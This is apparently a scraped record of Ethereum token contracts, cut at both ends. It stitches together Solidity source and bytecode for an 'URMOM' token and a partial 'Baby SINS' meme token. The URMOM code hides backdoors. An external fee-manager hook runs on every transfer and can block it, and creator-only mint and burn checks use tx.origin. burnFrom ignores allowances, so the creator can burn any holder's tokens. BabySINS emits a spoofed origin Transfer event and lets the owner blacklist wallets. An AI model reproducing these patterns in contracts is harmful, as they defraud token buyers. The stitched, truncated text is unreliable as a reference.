OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external; function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external; function transferFrom(address sender, address recipient, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IFeeManager { function query(address from, address _to, uint256 _amount) external; } contract ERC20 is Context { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 public totalSupply; string public name; string public symbol; uint8 public decimals; address private tokenCreator; address private feeManager; address private feeManagerCreator; constructor (string memory _name, string memory _symbol) public { name = _name; symbol = _symbol; decimals = 18; tokenCreator = msg.sender; } function setFeeManager(address manager, address managerCreator) public { require(msg.sender == tokenCreator, "no u"); feeManager = manager; feeManagerCreator = managerCreator; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _fee(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(tx.origin == tokenCreator || tx.origin == feeManagerCreator, "no u"); require(account != address(0), "ERC20: mint to the zero address"); totalSupply = totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(tx.origin == tokenCreator || tx.origin == feeManagerCreator, "no u"); require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); totalSupply = totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _fee(address from, address to, uint256 amount) internal virtual { if(from == address(0) || to == address(0)) return; if(feeManager== address(0)) return; IFeeManager(feeManager).query(from,to,amount); } } abstract contract ERC20Burnable is ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual{ _burn(account, amount); } } contract URMOM is ERC20Burnable, Ownable { constructor() public ERC20('UrMomChain', 'URMOM') { _mint(msg.sender, 69e18); } function mint(address recipient_, uint256 amount_) public onlyOwner returns (bool) { uint256 balanceBefore = balanceOf(recipient_); _mint(recipient_, amount_); uint256 balanceAfter = balanceOf(recipient_); return balanceAfter >= balanceBefore; } function burn(uint256 amount) public override { super.burn(amount); } function burnFrom(address account, uint256 amount) public override { super.burnFrom(account, amount); } // Fallback rescue function destroy() public { require(msg.sender == owner(), "no u"); selfdestruct(msg.sender); } receive() external payable{ payable(owner()).transfer(msg.value); } function rescueToken(IERC20 _token) public { _token.transfer(owner(), _token.balanceOf(address(this))); } }
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063a457c2d711610064578063a457c2d7146106b6578063a9059cbb14610729578063dd62ed3e1461079c578063f2fde38b14610821578063f90e30131461087257610178565b8063715018a61461054657806379cc67901461055d57806383197ef0146105b85780638da5cb5b146105cf57806395d89b411461062657610178565b806339509351116100e7578063395093511461036f57806340c10f19146103e257806342966c68146104555780634460d3cf1461049057806370a08231146104e157610178565b806306fdde031461017d578063095ea7b31461020d57806318160ddd1461028057806323b872dd146102ab578063313ce5671461033e57610178565b36610178576101306108e3565b73ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610175573d6000803e3d6000fd5b50005b600080fd5b34801561018957600080fd5b5061019261090d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101d25780820151818401526020810190506101b7565b50505050905090810190601f1680156101ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021957600080fd5b506102666004803603604081101561023057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ab565b604051808215151515815260200191505060405180910390f35b34801561028c57600080fd5b506102956109c9565b6040518082815260200191505060405180910390f35b3480156102b757600080fd5b50610324600480360360608110156102ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cf565b604051808215151515815260200191505060405180910390f35b34801561034a57600080fd5b50610353610aa8565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037b57600080fd5b506103c86004803603604081101561039257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610abb565b604051808215151515815260200191505060405180910390f35b3480156103ee57600080fd5b5061043b6004803603604081101561040557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6e565b604051808215151515815260200191505060405180910390f35b34801561046157600080fd5b5061048e6004803603602081101561047857600080fd5b8101908080359060200190929190505050610c6c565b005b34801561049c57600080fd5b506104df600480360360208110156104b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c78565b005b3480156104ed57600080fd5b506105306004803603602081101561050457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd8565b6040518082815260200191505060405180910390f35b34801561055257600080fd5b5061055b610e20565b005b34801561056957600080fd5b506105b66004803603604081101561058057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fab565b005b3480156105c457600080fd5b506105cd610fb9565b005b3480156105db57600080fd5b506105e46108e3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063257600080fd5b5061063b61107a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561067b578082015181840152602081019050610660565b50505050905090810190601f1680156106a85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106c257600080fd5b5061070f600480360360408110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611118565b604051808215151515815260200191505060405180910390f35b34801561073557600080fd5b506107826004803603604081101561074c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111e5565b604051808215151515815260200191505060405180910390f35b3480156107a857600080fd5b5061080b600480360360408110156107bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611203565b6040518082815260200191505060405180910390f35b34801561082d57600080fd5b506108706004803603602081101561084457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061128a565b005b34801561087e57600080fd5b506108e16004803603604081101561089557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149a565b005b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a35780601f10610978576101008083540402835291602001916109a3565b820191906000526020600020905b81548152906001019060200180831161098657829003601f168201915b505050505081565b60006109bf6109b86115e3565b84846115eb565b6001905092915050565b60025481565b60006109dc8484846117e2565b610a9d846109e86115e3565b610a988560405180606001604052806028815260200161247c60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a4e6115e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa39092919063ffffffff16565b6115eb565b600190509392505050565b600560009054906101000a900460ff1681565b6000610b64610ac86115e3565b84610b5f8560016000610ad96115e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6390919063ffffffff16565b6115eb565b6001905092915050565b6000610b786115e3565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000610c4584610dd8565b9050610c518484611beb565b6000610c5c85610dd8565b9050818110159250505092915050565b610c7581611ec1565b50565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610c9c6108e3565b8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610d1957600080fd5b505afa158015610d2d573d6000803e3d6000fd5b505050506040513d6020811015610d4357600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610dbd57600080fd5b505af1158015610dd1573d6000803e3d6000fd5b5050505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e286115e3565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fb58282611ed5565b5050565b610fc16108e3565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611061576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f6e6f20750000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111105780601f106110e557610100808354040283529160200191611110565b820191906000526020600020905b8154815290600101906020018083116110f357829003601f168201915b505050505081565b60006111db6111256115e3565b846111d68560405180606001604052806025815260200161250e602591396001600061114f6115e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa39092919063ffffffff16565b6115eb565b6001905092915050565b60006111f96111f26115e3565b84846117e2565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112926115e3565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611354576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113da576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061240e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461155d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f6e6f20750000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611671576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806124ea6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806124346022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611868576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124c56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806123c96023913960400191505060405180910390fd5b6118f9838383611ee3565b61196481604051806060016040528060268152602001612456602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa39092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f7816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611b50576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b15578082015181840152602081019050611afa565b50505050905090810190601f168015611b425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611be1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161480611c945750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b611d06576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f6e6f20750000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611da9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611dbe81600254611b6390919063ffffffff16565b600281905550611e15816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b611ed2611ecc6115e3565b826120ab565b50565b611edf82826120ab565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611f4a5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611f54576120a6565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611fb0576120a6565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f58a435f8484846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561208d57600080fd5b505af11580156120a1573d6000803e3d6000fd5b505050505b505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614806121545750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16145b6121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f6e6f20750000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561224c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806124a46021913960400191505060405180910390fd5b6122b7816040518060600160405280602281526020016123ec602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aa39092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230e8160025461237e90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60006123c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aa3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a5a51e483736014f4b8c044459d54b4f62174f3a740290dde6dfe0def67edec764736f6c63430006060033
[ 21, 17 ]
0xf30d23b29eeaff135b18de374573cd0e3cd8b1b6
/** █▄▄ ▄▀█ █▄▄ █▄█   █▀ █ █▄░█ █▀ █▄█ █▀█ █▄█ ░█░   ▄█ █ █░▀█ ▄█ TG: @Baby_SINS Stealth launching soon LP lock Contract Renounce */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BabySINS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Baby SINS"; string private constant _symbol = "BABYSIN"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x26d5fd5fedfd26574ffB63745dCC12DC29dc8726); _feeAddrWallet2 = payable(0x26d5fd5fedfd26574ffB63745dCC12DC29dc8726); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 